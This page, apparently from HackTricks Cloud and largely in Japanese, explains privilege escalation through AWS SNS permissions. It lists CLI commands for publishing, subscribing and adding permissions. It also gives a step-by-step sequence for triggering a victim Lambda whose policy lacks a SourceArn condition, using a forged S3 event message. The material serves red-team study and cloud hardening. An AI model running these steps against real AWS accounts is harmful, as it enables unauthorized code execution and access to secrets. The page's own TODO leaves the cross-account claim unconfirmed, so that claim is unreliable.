AWS - SNS Privesc
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
SNS
For more information check:
sns:Publish
攻撃者はSNSトピックに悪意のある、または不要なメッセージを送信し、データの破損、意図しないアクションの発動、あるいはリソースの枯渇を引き起こす可能性があります。
aws sns publish --topic-arn <value> --message <value>
潜在的な影響: 脆弱性の悪用、データの破損、意図しない操作、またはリソースの枯渇。
sns:Subscribe
攻撃者は SNS トピックを購読することで、メッセージへの不正アクセスを得たり、そのトピックに依存するアプリケーションの正常な動作を妨害したりする可能性があります。
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
潜在的な影響: メッセージへの不正アクセス(機密情報)、影響を受けたトピックに依存するアプリケーションのサービス中断。
sns:AddPermission
攻撃者は不正なユーザーやサービスにSNSトピックへのアクセスを付与し、さらに権限を取得する可能性があります。
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Potential Impact: トピックへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるトピックの操作。トピックに依存するアプリケーションの正常な動作の妨害。
Invoke a Lambda by abusing wildcard SNS permission (no SourceArn)
Lambda 関数のリソースベースのポリシーが sns.amazonaws.com に対して SourceArn でソーストピックを制限せずに invoke を許可している場合、任意の SNS topic(別アカウントのものを含む)がサブスクライブして関数をトリガーできます。基本的な SNS 権限を持つ攻撃者は、攻撃者制御の入力で Lambda をその IAM ロール下で実行させることができます。
Tip
TODO: これは本当にクロスアカウントで行えますか?
Preconditions
- 被害者の Lambda ポリシーが以下のようなステートメントを含み、
SourceArn条件がない:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
悪用手順(同一アカウントまたはクロスアカウント)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
潜在的な影響: victim Lambda はその IAM role で実行され、attacker-controlled input を処理します。これにより、権限に応じて関数が機密性の高い操作(例:S3 への書き込み、secrets へのアクセス、リソースの変更)を実行するよう悪用される可能性があります。
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

